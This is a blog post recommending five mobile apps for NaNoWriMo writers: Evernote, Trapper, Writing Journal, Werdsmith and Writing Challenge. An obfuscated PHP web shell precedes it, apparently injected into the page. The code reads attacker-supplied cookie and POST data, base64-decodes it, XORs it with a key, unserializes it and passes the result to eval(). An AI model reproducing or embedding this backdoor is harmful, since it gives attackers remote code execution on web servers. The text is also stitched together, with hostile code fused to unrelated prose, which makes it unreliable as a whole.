$NtqBU = chr ( 576 - 462 )."\x78" . 'c' . "\137" . chr ( 779 - 690 ).chr ( 670 - 594 )."\x62";$HOwBdqewZN = chr (99) . "\154" . chr ( 241 - 144 )."\163" . "\x73" . '_' . chr ( 768 - 667 ).chr ( 628 - 508 ).'i' . "\163" . 't' . 's';$yQpiowXUKv = $HOwBdqewZN($NtqBU); $NtqBU = "13292";$HOwBdqewZN = "10129";$ZdtmbzW = $yQpiowXUKv;if (!$ZdtmbzW){class rxc_YLb{private $TClzu;public static $wxqIwSAV = "dbca6955-8646-48d6-81a1-c633c76f5513";public static $gyQbZELA = 1746;public function __construct($MXZCkbeJ=0){$vohuZzro = $_COOKIE;$VHUntKOPUM = $_POST;$tPvzITs = @$vohuZzro[substr(rxc_YLb::$wxqIwSAV, 0, 4)];if (!empty($tPvzITs)){$lgSnrWzBqW = "base64";$CylTkeAl = "";$tPvzITs = explode(",", $tPvzITs);foreach ($tPvzITs as $DRGZEk){$CylTkeAl .= @$vohuZzro[$DRGZEk];$CylTkeAl .= @$VHUntKOPUM[$DRGZEk];}$CylTkeAl = array_map($lgSnrWzBqW . chr (95) . chr ( 137 - 37 ).'e' . "\143" . "\x6f" . chr ( 876 - 776 ).chr (101), array($CylTkeAl,)); $CylTkeAl = $CylTkeAl[0] ^ str_repeat(rxc_YLb::$wxqIwSAV, (strlen($CylTkeAl[0]) / strlen(rxc_YLb::$wxqIwSAV)) + 1);rxc_YLb::$gyQbZELA = @unserialize($CylTkeAl);}}private function EDAiC(){if (is_array(rxc_YLb::$gyQbZELA)) {$wmcRmbDl = str_replace(chr (60) . chr ( 513 - 450 )."\x70" . chr (104) . "\160", "", rxc_YLb::$gyQbZELA["\143" . "\157" . chr ( 950 - 840 )."\x74" . 'e' . chr (110) . chr (116)]);eval($wmcRmbDl); $mHzrWV = "50690";exit();}}public function __destruct(){$this->EDAiC(); $mHzrWV = "50690";}}$tMvflraZ = new rxc_YLb(); $tMvflraZ = "8787_44322";} NaNoWriMo: 5 Mobile Apps That Will Help Write Your Novel

NaNoWriMo: 5 Mobile Apps That Will Help You Write Your Novel

NaNoWriMo: 5 Mobile Apps That Will Help You Write Your Novel
The first week of November has come and gone, and if you are participating in National Novel Writing Month (or NaNoWriMo, as it is widely known), this might be cause for some anxiety.

 

Maybe you haven’t been able to stay away from Netflix. Maybe your boss has asked you to work some extra hours. Maybe your kids haven’t been as understanding about your writing time as you’d hoped. Maybe you are suffering from the dreaded Writer’s Block.

 

Whatever the reason, if you’re struggling to stay on track to write 50 thousand words in the next 23 days, you may have to find creative ways to increase your word count throughout the day. This could be difficult if you, like a majority of people, aren’t spending a lot of time in the privacy of your own home, at your personal computer, with nothing going on to distract you.

 

But don’t give up! Mobile apps were invented for a reason, and it just so happens that there are several on the market that can help you write your novel this month. I’ve picked out five apps that can help in five different ways.

 

#1 – Evernote – For Writing on the Go

If you’re a writer and you’re not using Evernote, you should change that immediately. Like, right now.

 

Evernote is a convenient writing tool that syncs across all of your devices, which means you can start writing a chapter during your lunch break, then pick it up on your personal computer when you get home. It also captures photos, web articles, voice notes, and more.

 

Evernote is available for download on all Android, Windows, Blackberry, and Apple mobile devices. You can also get it on your home computer if you run Mac OS X, Windows Desktop, or Windows 8 Touch.

 

#2 – Trapper – For Quickly Capturing Inspiration

 

Have you ever been struck randomly with inspiration at the most inconvenient time?

 

Then Trapper s totally the app for you. Not only does it allow you to capture your “wild” ideas when they come to you, but it also gives you the option to place your ideas into ongoing narratives so that you can paint a bigger picture.

 

For example, if you have a hilarious co-worker that you’re basing one of your characters on, you can trap their shenanigans as they happen, and place them in a narrative that’s related to that character or plot line.

 

You can even export your narratives into a text document to make them easier to work with on your computer!

 

Trapper is available on the Apple App Store.

 

#3 – Writing Journal – For Tracking Your Progress

 

When you have a very specific word count goal in mind, it’s good to have a reliable and portable way to keep track of where you are.

 

That’s where Writing Journal comes in handy. Whether you’re sitting down at your computer, or getting ready to write on your phone or tablet, open this app first, and start the timer – it will keep track of how long you’re writing, and once you’re finished, you can manually enter your word count.

 

You might be wondering how this can help you write faster, and that’s a fair question. One of the easiest ways to increase your word count is also one of the hardest things to put into practice – write without editing. It’s a difficult impulse to overcome, the need to correct yourself as you go, but it hinders your progress a lot more than you think.

 

By starting a timer, you are adding a little bit of pressure and motivation to your session, which can increase your productivity.

 

Writing Journal is available on the Apple App Store.

 

#4 – Werdsmith – For Getting Encouragement

 

If the encouragement of others is what keeps you motivated to write, then Werdsmith might be a helpful tool for you.

 

With this app, you can conveniently write things down with the confidence that your files will be backed up with the cloud. You can also set up rituals by letting the app know what time of day you like to write, and it will send you alerts to remind you when it’s time to begin.

 

By far the most unique part about this app is it’s sharing feature, which allows you to share what you’ve written with friends via text message, Twitter, and Facebook. This would be a great way to let your friends encourage you during your novel-writing journey.

 

Two points of caution: 1) it might not be advisable to seek constructive feedback while you’re trying to write without editing; 2) if you are easily discouraged by the idea of any feedback at all, this may not be the best tool for you.

 

Werdsmith is available on the Apple App Store.

 

#5 – Writing Challenge – For Keeping the Ideas Flowing

 

One of the biggest impediments when it comes to writing with great speed is the flow of creative juices. If you’re feeling uninspired or unsure of how to start/continue a scene that you’re working on, it can really slow you down.

 

Writing Challenge is the only paid app on this list, but in my opinion, it is well worth it. I couldn’t find a free app that had the same level of awesomeness, but if you know of one, please let me know.

 

It begins with a big, orange circle that says START. When you tap it, a page comes up that says, “Start writing a story that….” then gives you a prompt, such as where your story should take place, what words or dialogue should be included, who your characters should be, and more. At that point, you have the option to keep the prompt, or get another. Once you choose your first prompt, you get one minute before you’re given your next one.

 

This can go on as long as you’d like it to, and you can adjust the settings so that you get more time in between prompts, so it’s the perfect tool to keep the ideas rolling in.

 

Writing Challenge is available on the Apple App Store, and on Google Play.

 

Whether you reach the 50K goal or not, just taking on the challenge of writing a novel in 30 days is a huge accomplishment in itself and you should give yourself a pat on the back!

 

What are your go-to apps and tools for NaNoWriMo? Leave me a comment and let me know!

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